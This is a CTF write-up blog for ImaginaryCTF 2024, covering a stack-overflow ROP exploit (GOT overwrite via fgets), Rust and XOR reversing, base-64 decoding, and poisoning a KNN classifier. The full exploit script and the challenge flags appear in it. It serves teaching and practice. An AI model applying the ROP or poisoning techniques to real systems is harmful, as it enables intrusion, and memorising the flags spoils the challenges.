My Writeups For ImaginaryCTF 2024!
Intro
Hi everyone! Like my last CTF writeups, I’m writing these as I’m playing the CTF. So far, the challenges are very fun and interesting :) Without further ado, let’s get statrted!
pwn/ropity
In this challenge, we are given a vulnerable ELF binary fittingly called vuln
. Upon running it, we aren’t given any prompt, and we need to input some data: Let’s decompile the main function:
1
2
3
4
5
6
7
void main(void)
{
undefined buf [8];
FUNC_401040(buf,0x100,stdin);
return;
}
The FUNC_401040
is the PLT (Procedure Linkage Table) stub for fgets
. Don’t worry if you don’t know what that means: all you need to know for now is that it calls fgets
with the arguments it gets. If so, the vulnerability is obvious: the program reads 0x100
bytes into a buffer of size 8! Exploiting this should be easy, right? Well, not so much. Let’s run checksec
on the binary:
1
2
3
4
5
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
The only mitigation enabled is the NX bit, which means that memory regions, such as the stack, cannot be both writable and executable at the same time. This mitigation was introduced around the early-mid 2000s. To overcome this, we need to use sequences of instructions already present in the binary in order to accomplish our goal, whether it is reading a file like in this challenge, or getting a shell. This technique is called Return Oriented Programming (ROP). In the binary, we also have a function called printfile
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ENDBR64
PUSH RBP
MOV RBP,RSP
MOV qword ptr [RBP + local_10],RDI
MOV RAX,0x2
MOV RSI,0x0
SYSCALL
MOV RSI,RAX
MOV RDI,0x1
MOV RDX,0x0
MOV R8,0x100
MOV RAX,0x28
SYSCALL
NOP
POP RBP
RET
This function is pretty simple: it first calls the open
syscall to open a file whose filename is specified in rdi
(rdi
points to a buffer where the filename is), and then it calls the sendfile
syscall to send 0x100
bytes from the file into stdout
. If so, we can read the flag as follows
- Make
rdi
point to the stringflag.txt\0
- Redirect execution to
printfile
But how do we do that? The binary doesn’t have anypop rdi
gadgets (which are gadgets that pop values from the stack into a regsiter, hence writing arbitrary values to registers). It also uses partial RELRO and doesn’t have any functions that output things (such asputs
), so we can’t leak a libc address (at least as far as I know :)) for things like ret2libc. If so, we’ll have to look for an alternative way. Let’s look at the disassembly of themain
function more closely:
1
2
3
4
5
6
7
8
9
10
11
12
ENDBR64
PUSH RBP
MOV RBP,RSP
SUB RSP,0x10
MOV RDX,qword ptr [stdin]
LEA RAX=>buf,[RBP + -0x8]
MOV ESI,0x100
MOV RDI,RAX
CALL fgets_plt_stub
NOP
LEAVE
RET
Remember that we can redirect execution to anywhere we want, including partway through functions. The fgets
function gets its arguments inside the following registers:
1
2
3
RDI - The buffer to write into
RSI - Number of characters to read
RDX - File stream to read from
After it returns, it puts a pointer to the buffer it wrote to into rax
. This seems perfect for our purposes! If we can make fgets
write the string flag.txt\0
somewhere in memory, and then move rax
(which contains a pointer to said location) to rdi
, we accomplished goal 1! Pay note to the following instruction in main
:
1
LEA RAX=>buf,[RBP + -0x8]
If we can control the value of RBP
, this value will then be moved into RAX
, and finally into RDI
, giving us an arbitrary write using the fgets
function! Let’s search for pop rbp; ret
gadgets:
1
2
3
4
5
(.venv) ➜ roppity ROPgadget --binary vuln | grep "pop rbp"
0x000000000040111b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401116 : mov byte ptr [rip + 0x2f1b], 1 ; pop rbp ; ret
0x000000000040119a : nop ; pop rbp ; ret
0x000000000040111d : pop rbp ; ret
Bingo! We have a gadget at 0x40111d
(the last one in the list). This gives us a pretty strong primitive. Let’s try it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
p = process("./vuln")
elf = ELF("./vuln")
# pop rbp; ret
pop_rbp = 0x000000000040111d
# call fgets in main. also loads the value pointed to by [rbp - 8] to rax,
# which is where we write
call_fgets = 0x0000000000401142
# Random writable address in the binary
addr_to_write = 0x404028
# To fill up the buf
payload = b"A"*16
# Set rbp to 0x8 bytes after the address we want to write
payload += p64(pop_rbp)
payload += p64(addr_to_write + 0x8)
# Call fgets again; this time, since rbp points to the address we want to write
# +8, rdi will point to the address we want to write
payload += p64(call_fgets)
p.sendline(payload)
p.sendline(b"Hello!!\0")
p.interactive()
Before the second call to fgets:
1
2
3
4
gef➤ x/wx 0x404028
0x404028: 0x00000000
gef➤
0x40402c: 0x00000000
After:
1
2
3
gef➤ x/s 0x404028
0x404028: "Hello!!"
To recap so far:
- We have a binary vulnerable to a stack buffer overflow, and the ROP chain length is not a concern to us (since
fgets
reads 0x100 bytes) - The binary contains a function
printfile
that prints tostdout
the contents of the file whose name is pointed to byrdi
- We managed to get an arbitrary write primitive using
fgets
: we first write the desired address + 8 torbp
. This address then gets moved intordi
, which is the argument that tellsfgets
where it should write to - We trigger this primitive by using a
pop rbp; ret
gadget and then jumping tomain
again
There’s only a slight problem: after fgets
is called, rdi
no longer points to the address we wrote into. To get around this, we will use something called the GOT (Global Offset Table): Since most C binaries are dynamicallly linked, the binary has to somehow know how to jump to external locations, such as the address of fgets
inside libc. This is done as follows:
- The binary maintains two tables: the PLT (Procedure Linkage Table) and the GOT (Global Offset Table)
- The entries of the PLT are called PLT stubs. Each external function called by the binary has a corresponding stub. Each stub jumps to an address stored in a corresponding GOT entry
- The first time an external function, such as
fgets
, is called, its address inside libc is dynamically resolved using a function called__dl_runtime_resolve
. However, calling this function is costly, so the address returned by this function is stored in the GOT entry. - Subsequent calls to the function can now jump to the address stored in the GOT instead of calling
__dl_runtime_resolve
again This means that if we can overwrite the GOT entry of a function, such asfgets
( which we can with our arbitrary write primitive), with another address in an executable region (such asprintfile
), all subsequent calls to the function will instead go to the function we want! This gives us our complete exploit: - Use the arbitrary write primitive to overwrite the GOT entry for
fgets
withprintfile
, and to writeflag.txt\0
in a writable region - Call the main function again, and this time set
rbp
to point 8 bytes after the address offlag.txt\0
. This will cause the function to move a pointer to this address intordi
, but this time because we’ve overwritten the GOT entry, whenfgets
will get called we’ll jump to printfile instead There’s another small problem to solve: since we’re changing the ofrbp
and then executing aleave
instruction at the end of main, the value ofrsp
will also get changed to point to the new value ofrbp
, so we’ll have to write our return addresses directly afterrbp
so that whenret
is executed it’ll pop the addresses we want. Here’s an image of the memory layout we want:
Awesome! Now, let’s write a pwntools script to do this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
#p = process("./vuln")
p = remote("ropity.chal.imaginaryctf.org", 1337)
elf = ELF("./vuln")
# mov eax, 0x0; test rax, rax; ret;
zero_eax = 0x0040109d
# syscall; nop; pop rbp; ret
syscall = 0x00401198
# pop rbp; ret
pop_rbp = 0x000000000040111d
# call fgets in main. also loads the value pointed to by [rbp - 8] to rax,
# which is where we write
call_fgets = 0x0000000000401142
# Location where we'll write "file.txt\0"
filename_addr = 0x00404050
printfile = elf.sym.printfile
mov_edi = 0x00000000004010a7
fgets_got = 0x404018
data = 0x00404030
# To fill up the buf
payload = b"A"*16
# Overwrite the GOT entry
payload += p64(pop_rbp)
payload += p64(fgets_got + 0x8)
# Return so we can write the second payload to the above address
payload += p64(call_fgets)
if args.GDB:
gdb.attach(p)
input("PAUSE")
p.sendline(payload)
p.sendline(p64(printfile) + p64(0) + p64(pop_rbp) + p64(fgets_got + 0x30) + p64(call_fgets) + b"flag.txt" + p64(0))
p.interactive()
rev/Rust
In this challenge, as the name suggests, we need to reverse a Rust ELF binary. We are also provided a file output.txt
(the output of the program where the message is the flag, and the key is unknown) which will come in handy later:
1
2
3
Enter the message:REDACTED
Enter the key (in hex): REDACTED
Encrypted: [-42148619422891531582255418903, -42148619422891531582255418927, -42148619422891531582255418851, -42148619422891531582255418907, -42148619422891531582255418831, -42148619422891531582255418859, -42148619422891531582255418855, -42148619422891531582255419111, -42148619422891531582255419103, -42148619422891531582255418687, -42148619422891531582255418859, -42148619422891531582255419119, -42148619422891531582255418843, -42148619422891531582255418687, -42148619422891531582255419103, -42148619422891531582255418907, -42148619422891531582255419107, -42148619422891531582255418915, -42148619422891531582255419119, -42148619422891531582255418935, -42148619422891531582255418823]
Upon running the binary, we see a similar prompt to the one in output.txt
:
1
2
3
Enter the message:Hello!
Enter the key (in hex): 1234
Encrypted: [-6222, -6362, -6334, -6334, -6338, -6122]
Let’s get to reversing! Luckily this program isn’t stripped, so we have the symbol names. The main function only contains one line:
1
2
3
4
5
void main(int param_1,u8 **param_2)
{
std::rt::lang_start<()>(rust::rust::main,(long)param_1,param_2,0);
return;
}
The lang_start
function sets up the runtime, and then calls the program’s actual code, which is at rust::rust::main
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/* DWARF original prototype: void main(void) */
void __rustcall rust::rust::main(void)
{
&str &Var1;
&[&str] pieces;
&[&str] pieces_00;
String msg;
String key;
&str msg_1;
u128 key_hex;
Arguments local_128;
Result<> local_f8;
Stdout local_f0;
String local_e8;
Result<> local_d0;
undefined local_c0 [56];
Result<> local_88;
Stdout local_80;
String local_78;
Result<> local_60;
undefined local_50 [16];
usize local_40;
Result<> local_38;
undefined local_10 [16];
pieces.length = 1;
pieces.data_ptr = (&str *)&PTR_s_Enter_the_message:_00162050;
core::fmt::Arguments::new_const(&local_128,pieces);
std::io::stdio::_print(&local_128);
local_f0 = std::io::stdio::stdout();
local_f8 = std::io::stdio::flush(&local_f0);
core::ptr::drop_in_place<>(&local_f8);
alloc::string::String::new(&local_e8);
/* try { // try from 0010a5a7 to 0010a5af has its CatchHandler @ 0010a5c9 */
local_c0._0_8_ = std::io::stdio::stdin();
/* try { // try from 0010a5ec to 0010a6a9 has its CatchHandler @ 0010a5c9 */
std::io::stdio::Stdin::read_line((Stdin *)&local_d0,(String *)local_c0);
core::ptr::drop_in_place<>(&local_d0);
pieces_00.length = 1;
pieces_00.data_ptr = (&str *)&PTR_s_Enter_the_key_(in_hex):_00162060;
core::fmt::Arguments::new_const((Arguments *)(local_c0 + 8),pieces_00);
std::io::stdio::_print((Arguments *)(local_c0 + 8));
local_80 = std::io::stdio::stdout();
local_88 = std::io::stdio::flush(&local_80);
core::ptr::drop_in_place<>(&local_88);
alloc::string::String::new(&local_78);
/* try { // try from 0010a6ac to 0010a6b4 has its CatchHandler @ 0010a6ce */
local_50._0_8_ = std::io::stdio::stdin();
/* try { // try from 0010a6f1 to 0010a80e has its CatchHandler @ 0010a6ce */
std::io::stdio::Stdin::read_line((Stdin *)&local_60,(String *)local_50);
core::ptr::drop_in_place<>(&local_60);
&Var1 = alloc::string::deref(&local_e8);
join{0x00000010,0x00000000} = core::str::trim(&Var1);
&Var1 = alloc::string::deref(&local_78);
&Var1 = core::str::trim(&Var1);
core::num::from_str_radix(&local_38,&Var1,0x10);
local_10 = (undefined [16])core::result::Result<>::unwrap_or_default<>(&local_38);
encrypt((char *)local_50._8_8_,stack0xffffffffffffffb8.length);
/* try { // try from 0010a811 to 0010a81d has its CatchHandler @ 0010a5c9 */
core::ptr::drop_in_place<>(&local_78);
core::ptr::drop_in_place<>(&local_e8);
return;
}
This code looks pretty intimidating, so let’s reverse it part-by-part. It starts by printing the line Enter the message:
, like we saw when we ran the program. This is done by the following code:
1
2
3
4
5
6
7
pieces.length = 1;
pieces.data_ptr = (&str *)&PTR_s_Enter_the_message:_00162050;
/* Enter the message: */
core::fmt::Arguments::new_const(&local_128,pieces);
std::io::stdio::_print(&local_128);
local_f0 = std::io::stdio::stdout();
local_f8 = std::io::stdio::flush(&local_f0);
The pieces
struct contains the arguments passed internally to the std::io::stdio::_print()
function. Its length
is 1, since it only prints one string, and it’s data_ptr
points to the string Enter the message:
which is located in the data section. The core::fmt::Arguments
struct is constructed from pieces
using the core::fmt::Arguments::new_const()
. Finally, this struct is passed into _print
, which prints it, and then stdout
is flushed. Then, the program reads the key from stdin
using read_line
. Afterwards, the key is read in a similar way, and is converted to hex with core::num::from_str_radix
. The program then calls the encrypt
function with the message and the key. Here’s the code of encrypt
(without the local variable definitions):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
/* DWARF original prototype: void encrypt(&str message, u128 key) */
void __rustcall rust::rust::encrypt(char *__block,int __edflag)
{
self_01.length = CONCAT44(in_register_00000034,__edflag);
self_01.data_ptr = (u8 *)__block;
local_b8 = __block;
local_b0 = self_01.length;
capacity = core::str::len(self_01);
alloc::vec::Vec<>::with_capacity<i128>(&local_138,capacity);
self.length = self_01.length;
self.data_ptr = (u8 *)__block;
/* try { // try from 0010a1bc to 0010a1c0 has its CatchHandler @ 0010a1e5 */
self_00 = core::str::bytes(self);
/* try { // try from 0010a1fb to 0010a390 has its CatchHandler @ 0010a1e5 */
local_120 = (Iter<u8>)core::iter::traits::collect::into_iter<>(self_00);
while( true ) {
OVar1 = core::str::iter::next((Bytes *)&local_120);
/* DL is the next byte in the input */
local_10a = OVar1._0_1_;
if (((ushort)OVar1 & 1) == 0) {
local_d8.value = (Opaque *)&local_138;
local_8 = alloc::vec::fmt<>;
local_18 = alloc::vec::fmt<>;
local_d8.formatter = alloc::vec::fmt<>;
pieces.length = 2;
pieces.data_ptr = (&str *)&DAT_00162000;
args.length = 1;
args.data_ptr = &local_d8;
local_20 = (Vec<> *)local_d8.value;
local_10 = (Vec<> *)local_d8.value;
core::fmt::Arguments::new_v1(&local_108,pieces,args);
std::io::stdio::_print(&local_108);
local_c0 = std::io::stdio::stdout();
local_c8 = std::io::stdio::flush(&local_c0);
core::ptr::drop_in_place<>(&local_c8);
core::ptr::drop_in_place<>(&local_138);
return;
}
local_78 = 0;
curr_c2_shl_5 = (ulong)extraout_DL << 5;
local_70 = curr_c2_shl_5 >> 3;
local_68 = 0;
local_60 = in_RDX ^ local_70;
uVar3 = local_60 + 0x539;
uVar2 = in_RCX + (0xfffffffffffffac6 < local_60);
if (SCARRY8(in_RCX,0) != SCARRY8(in_RCX,(ulong)(0xfffffffffffffac6 < local_60))) break;
local_40 = ~uVar3;
local_38 = ~uVar2;
local_50 = uVar3;
local_48 = uVar2;
if (CARRY8(in_RCX,in_RCX) || CARRY8(in_RCX * 2,(ulong)CARRY8(in_RDX,in_RDX))) {
expr_00.length = 0x21;
expr_00.data_ptr = (u8 *)"attempt to multiply with overflow";
/* WARNING: Subroutine does not return */
core::panicking::panic(expr_00);
}
value._8_8_ = in_RDX * 2;
value._0_8_ = local_38;
local_30 = in_RDX * 2;
local_28 = in_RCX * 2 + (ulong)CARRY8(in_RDX,in_RDX);
alloc::vec::Vec<>::push<>(&local_138,(i128)value);
}
expr.length = 0x1c;
expr.data_ptr = (u8 *)"attempt to add with overflow";
/* try { // try from 0010a4a0 to 0010a50e has its CatchHandler @ 0010a1e5 */
/* WARNING: Subroutine does not return */
core::panicking::panic(expr);
}
From a quick glance, the following code seems interesting:
1
2
3
4
5
6
7
8
9
10
11
12
self_00 = core::str::bytes(self);
/* try { // try from 0010a1fb to 0010a390 has its CatchHandler @ 0010a1e5 */
local_120 = (Iter<u8>)core::iter::traits::collect::into_iter<>(self_00);
while( true ) {
OVar1 = core::str::iter::next((Bytes *)&local_120);
/* DL is the next byte in the input */
local_10a = OVar1._0_1_;
if (((ushort)OVar1 & 1) == 0) {
...
}
...
}
It seems like an iterator, local_120
is being created from the bytes
of something using core::iter::traits::collect::into_iter
. It’s reasonable to assume that the bytes we’re iterating over are the bytes of the message input by the user. The next element in the iterator is then put into OVar1
using core::str::iter::next
. Then, we have an if
statement:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (((ushort)curr_byte & 1) == 0) {
local_d8.value = (Opaque *)&local_138;
local_8 = alloc::vec::fmt<>;
local_18 = alloc::vec::fmt<>;
local_d8.formatter = alloc::vec::fmt<>;
pieces.length = 2;
pieces.data_ptr = (&str *)&DAT_00162000;
args.length = 1;
args.data_ptr = &local_d8;
local_20 = (Vec<> *)local_d8.value;
local_10 = (Vec<> *)local_d8.value;
core::fmt::Arguments::new_v1(&local_108,pieces,args);
std::io::stdio::_print(&local_108);
local_c0 = std::io::stdio::stdout();
local_c8 = std::io::stdio::flush(&local_c0);
core::ptr::drop_in_place<>(&local_c8);
core::ptr::drop_in_place<>(&local_138);
return;
}
The repeated calls to alloc::vec::fmt
tell us that this code is probably printing some vector, and then returning. The only vector we have in the program is the encrypted message, which is printed after the encryption process:
1
Encrypted: [-6222, -6362, -6334, -6334, -6338, -6122]
So it’s pretty safe to assume that this is the part that handles this, and the condition inside the if
probably checks whether we’ve finished iterating (i.e. there are no elements left in the iterator). After the if
check, we have the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
local_78 = 0;
curr_c2_shl_5 = (ulong)extraout_DL << 5;
local_70 = curr_c2_shl_5 >> 3;
local_68 = 0;
local_60 = in_RDX ^ local_70;
uVar2 = local_60 + 0x539;
uVar1 = in_RCX + (0xfffffffffffffac6 < local_60);
if (SCARRY8(in_RCX,0) != SCARRY8(in_RCX,(ulong)(0xfffffffffffffac6 < local_60))) break;
/* Take the not */
local_40 = ~uVar2;
local_38 = ~uVar1;
local_50 = uVar2;
local_48 = uVar1;
if (CARRY8(in_RCX,in_RCX) || CARRY8(in_RCX * 2,(ulong)CARRY8(in_RDX,in_RDX))) {
expr_00.length = 0x21;
expr_00.data_ptr = (u8 *)"attempt to multiply with overflow";
/* WARNING: Subroutine does not return */
core::panicking::panic(expr_00);
}
value._8_8_ = in_RDX * 2;
value._0_8_ = local_38;
local_30 = in_RDX * 2; /* Add 0x539 to the result */
local_28 = in_RCX * 2 + (ulong)CARRY8(in_RDX,in_RDX);
alloc::vec::Vec<>::push<>(&local_138,(i128)value);
This probably the part that handles the encryption, since a value is pushed to the encrypted
vector at the end. Reading the decompilation here is pretty confusing, so instead I switched to debugging the program with gdb and looking at the disassembly, which starts as follows:
1
2
3
4
5
mov rcx, QWORD PTR [rsp+0x58]
mov rax, QWORD PTR [rsp+0x60]
shld rax, rcx, 0x5
mov QWORD PTR [rsp+0x38], rax
shl rcx, 0x5
It seems like some local variables are moved into rcx
and rax
. Let’s step past the first 2 instructions to see what these values are:
1
2
$rax : 0x0
$rcx : 0x41
Since the message I used as input is “ABCDE”, and this is the first iteration of the loop, it seems like rcx
contains the current byte of the message. rax
just contains a zero. Now, the next 3 instructions shift the current byte to the left 5 times and store the result in rcx
:
1
2
3
4
gef➤ p/x $rcx
$1 = 0x820
gef➤ p/x 0x41 << 5
$2 = 0x820
Now, some local variable operations are done on the stack. We’ll skip those and step until we get to the next arithmetic operation, which turns out to be another shift:
1
2
3
mov rsi, rax
shld rsi, rdi, 0x3d
sar rax, 0x3
Let’s inspect the relevant registers:
1
2
3
$rax : 0x0
$rdi : 0x820
$rsi : 0x00005555555bcbb5 → 0x000000000000000a ("\n"?)
So $rdi
contains current_byte << 5
, $rax
is zero, and $rsi
is some address in the binary that points to a newline. After these instructions, the value of (current_byte << 5) << 0x3d
is stored in $rsi
. Since we’re dealing with 64-bit values here, shifting left by 0x3d=61 is equivalent to shifting right by 64-61=3, so $rsi
now contains (current_byte << 5) >> 3 = (current_byte << 2)
. The next arithemtic operations are two XORs:
1
2
xor rdx, rsi
xor rcx, rax
Here the states of the registers:
1
2
3
4
$rdx : 0x1234 ; The key I inputted
$rsi : 0x104 ; Same value as before: 0x41 << 2
$rcx : 0x0
$rax : 0x0
The key is XORed with (current_byte << 2)
, and the result is put in rdx
. To recap what happens so far:
- We iterate over each byte in the message
- If we’ve finished iterating, print the vector of encoded values
- Otherwise, compute
a = current_byte << 2
- Then compute
b = a ^ key
The next operation adds0x539
tordx
, whose value hasn’t changed since the last operation:
1
add rdx, 0x539
Finally, we take the bitwise NOT of rax
, whose value is the previous value of rdx
(i.e. ((current_byte << 2) ^ key) + 0x539
):
1
2
not rax
This is it! This value is then pushed to the encrypted
vector with alloc::vec::Vec<>::push<>
. To make sure we did everything correctly, let’s write a short Python script to emulate the program:
1
2
3
4
5
6
7
8
9
10
11
msg = input("Enter message: ")
key = int(input("Enter key in hex: "), 16)
output = []
for c in [ord(x) for x in msg]:
encrypted = (c << 2) ^ key
encrypted += 0x539
encrypted = ~encrypted
output.append(encrypted)
print(output)
Let’s run it:
1
2
3
4
5
6
7
8
// The Rust binary
Enter the message:Hello world!
Enter the key (in hex): 1234
Encrypted: [-6222, -6362, -6334, -6334, -6338, -6126, -6434, -6338, -6454, -6334, -6366, -6122]
// Our python script
Enter message: Hello world!
Enter key in hex: 1234
[-6222, -6362, -6334, -6334, -6338, -6126, -6434, -6338, -6454, -6334, -6366, -6122]
Cool! We’ve managed to find out what encryption algorithm the program uses. But we still need to find the flag from the provided output.txt
, and remember that we aren’t given the key. The challenge’s description shows the following:
1
Note: The message that produces the provided encryption is the flag.
Remember that the program encrypts its input one byte at a time: the encyption of one byte doesn’t depend on the encryption of another. Why is this important? Flags at CTFs usually follow some kind of format. For example, in Imaginary CTF the format is ictf{...}
. This means that the first encrypted element in the output.txt
file is the encryption of the character ‘i
’, which is the first character in the flag, using some unknown key. In other words: encrypt('i', key) = first element in output.txt = -42148619422891531582255418903
. Using our knowledge of how the encryption process works, we can simply reverse the operations and solve for the key. Let’s call the first element shown above y
. Then:
1
2
3
4
5
6
7
8
encrypt('i', key) = y
~((('i' << 2) ^ key) + 0x539) = y
// Bitwise NOT is its own inverse
((('i' << 2) ^ key) + 0x539) = ~y
// Subtract 0x539 from both sides
(('i' << 2) ^ key) = ~y - 0x539
// XORing is its own inverse
key = ( ~y - 0x539) ^ ('i' << 2)
Using the following script, we get that the value of the key is 42148619422891531582255417721
:
1
2
3
4
5
output_of_flag = [-42148619422891531582255418903, -42148619422891531582255418927, -42148619422891531582255418851, -42148619422891531582255418907, -42148619422891531582255418831, -42148619422891531582255418859, -42148619422891531582255418855, -42148619422891531582255419111, -42148619422891531582255419103, -42148619422891531582255418687, -42148619422891531582255418859, -42148619422891531582255419119, -42148619422891531582255418843, -42148619422891531582255418687, -42148619422891531582255419103, -42148619422891531582255418907, -42148619422891531582255419107, -42148619422891531582255418915, -42148619422891531582255419119, -42148619422891531582255418935, -42148619422891531582255418823]
flag = []
key = (~output_of_flag[0] - 0x539) ^ (ord('i') << 2)
print("[+] The key is {}".format(key))
Now that we have the key, we can similarily invert the encryption process to get each byte of the flag:
1
2
3
4
5
6
7
8
9
10
y = encrypt(x, key)
y = ~(((x << 2) ^ key) + 0x539)
// Take the bitwise NOT of both sides
~y = ((x << 2) ^ key) + 0x539
// Subtract 0x539
~y - 0x539 = (x << 2) ^ key)
// XOR with the key
(~y - 0x539) ^ key = (x << 2)
// Right shift by 2
((~y - 0x539) ^ key) >> 2 = x
Let’s add the following lines to our script to do this:
1
2
3
4
5
6
7
8
9
for y in output_of_flag:
x = ~y
x -= 0x539
x ^= key
x = x >> 2
flag.append(x)
print("".join([chr(c) for c in flag]))
This gives us the flag!
1
ictf{ru57_r3v_7f4d3a}
Pretty fun challenge :)
crypto/base64
In this challenge, we get three files:
1
2
3
main.py
sbg.png
out.txt
The sbg.png
file is an image and it’s not really relevant to the challenge. The main.py
script contains the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import bytes_to_long
q = 64
flag = open("flag.txt", "rb").read()
flag_int = bytes_to_long(flag)
secret_key = []
while flag_int:
secret_key.append(flag_int % q)
flag_int //= q
print(f"{secret_key = }")
It starts by opening the flag, converting its bytes to a long, and then converting said long to base64 by repeatedly taking the modulo with q=64
and dividing by 64. Finally, it prints the resulting base64-encoded flag into out.txt
:
1
secret_key = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1]
To reverse this process, we simply need to base64-decode the encoded flag, which can be done by multiplying each byte with 64 to the power of its position, and the summing up all the results. I did this with the following script:
1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import long_to_bytes
base64_enc = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1]
enc_len = len(base64_enc) - 1
flag_int = 0
for i in range(len(base64_enc) - 1, -1, -1):
flag_int += base64_enc[i] * (64 ** i)
print(long_to_bytes(flag_int))
This prints the flag:
1
b'ictf{b4se_c0nv3rs1on_ftw_236680982d9e8449}\n'
misc/starship
In this challenge, we’re given the address of a remote and a Python script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3
import pandas as pd
from io import StringIO
from sklearn.neighbors import KNeighborsClassifier
from gen import gen_data
done = False
flag = open("flag.txt").read().strip()
def menu():
print("1. show dataset")
print("2. train model")
print("3. predict state")
print("4. check incoming objects")
def train_dataset(dataset):
df = pd.read_csv(StringIO(dataset))
X, y = df.iloc[:, :-1].values, df.iloc[:, -1].values
model = KNeighborsClassifier(n_neighbors=3)
model.fit(X, y)
return model
if __name__ == "__main__":
print("<[ missle defense system control panel ]>")
menu()
print("initializing...")
while True:
dataset, incoming = gen_data()
model = train_dataset(dataset)
pred1 = model.predict([list(map(int, incoming[0].split(",")))])
pred2 = model.predict([list(map(int, incoming[1].split(",")))])
if pred1[0] == "enemy" and pred2[0] == "enemy":
break
while True:
choice = int(input("> "))
if choice == 1:
print("--- BEGIN DATASET ---")
print(dataset)
print("--- END DATASET ---")
if choice == 2:
model = train_dataset(dataset)
print("model trained!")
if choice == 3:
inp = input("enter data: ")
pred = model.predict([list(map(int, inp.split(",")))])
print(f"result: {pred}")
if choice == 4:
pred1 = model.predict([list(map(int, incoming[0].split(",")))])
pred2 = model.predict([list(map(int, incoming[1].split(",")))])
print(f"target 1: {incoming[0]} | result: {pred1[0]}")
print(f"target 2: {incoming[1]} | result: {pred2[0]}")
if pred1[0] == "friendly" and pred2[0] == "friendly":
print(f"flag: {flag}")
if choice == 42 and not done:
inp = input("enter data: ")
inp = inp.split(",")
for i in range(9):
inp[i] = int(inp[i])
if len(inp) == 10:
dataset = dataset.strip() + "\n" + ",".join(map(str,inp))
done = True
The code gives us a menu:
- Print the dataset. Each line is the dataset is a different ship, ships have numerical attributes, and each ship is either an enemy of friendly. For example: `81,24,98,66,90,126,-21,118,69,friendly
- Train a K-nearest neighbors classifier on the dataset with n_neighbors=3. KNN is a very simple classifier: given some input x, such as a ship, it finds the K nearest neighbors of x (i.e. samples in the dataset whose distance with x is minimal), and then classifies x according to the majority class of its K neighbors. For example if x has 2 enemy neighbors and 1 friendly neighbor, it will be classified as an enemy
- Ask the model to predict the class of a ship
- Run the model on two ships in the
incoming
array. To get the flag, we need both of them to be classified as friendly - Add a new ship to the dataset. Note that we can only do this once When we run option 4, we are given the ships that need to be classified as friendly. For example:
1
2
target 1: 39,74,25,47,48,88,31,56,93 | result: enemy
target 2: 47,48,51,23,73,48,13,33,57 | result: enemy
To make them get classified as friendly, we can add a new friendly sample to the dataset, and define each of its attributes as the mean between the corresponding two attributes in target 1 and target 2. For example, given the ships above, we’d define the first attribute of the new instance as (39 + 47) / 2 = 43
. With a high probability, this new sample will be considered a neightbor of both target 1 and target 2, so as long as there’s at least another friendly neighbor for each of them, both will be classified as friendly. This gives us the flag: For an analogy of why this works (i.e. why the new sample will be considered a neighbor of both A and B almost certainly), consider two 2D points: A and B. If we use euclidean distance, the midpoint between A and B is probably closer to both A and B than another point C, even if one of C’s coordinates is very close to B’s coordinate: In 10D, this phenomenon gets even more apparent: even if one coordinate is very close, two points will probably be far away from each other if the other coordinates are not similar. Adding the midpoint makes all the coordinates pretty similar
rev/unoriginal
This is a fairly easy reversing task where we get one ELF binary unoriginal
. We start by looking at the decompiled main function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
undefined8 main(void)
{
int iVar1;
long in_FS_OFFSET;
int local_4c;
byte local_48 [56];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter your flag here: ");
gets((char *)local_48);
for (local_4c = 0; local_4c < 0x30; local_4c = local_4c + 1) {
local_48[local_4c] = local_48[local_4c] ^ 5;
}
iVar1 = strcmp((char *)local_48,"lfqc~opvqZdkjqm`wZcidbZfm`fn`wZd6130a0`0``761gdx");
if (iVar1 == 0) {
puts("Correct!");
}
else {
puts("Incorrect.");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Alright, so it starts by reading some input (which according to the prompt is the flag) into a buffer local_48
with gets
, and then XORing each byte with 0x05
. Afterwards, it compares the result iwth the constant string lfqc~opvqZdkjqm`wZcidbZfm`fn`wZd6130a0`0``761gdx
. Since the XOR operation is its own inverse, all we need to do to reverse this is to XOR each byte of the constant string with 0x05
. To do this I used a simple Python script:
1
2
3
4
xored = "lfqc~opvqZdkjqm`wZcidbZfm`fn`wZd6130a0`0``761gdx"
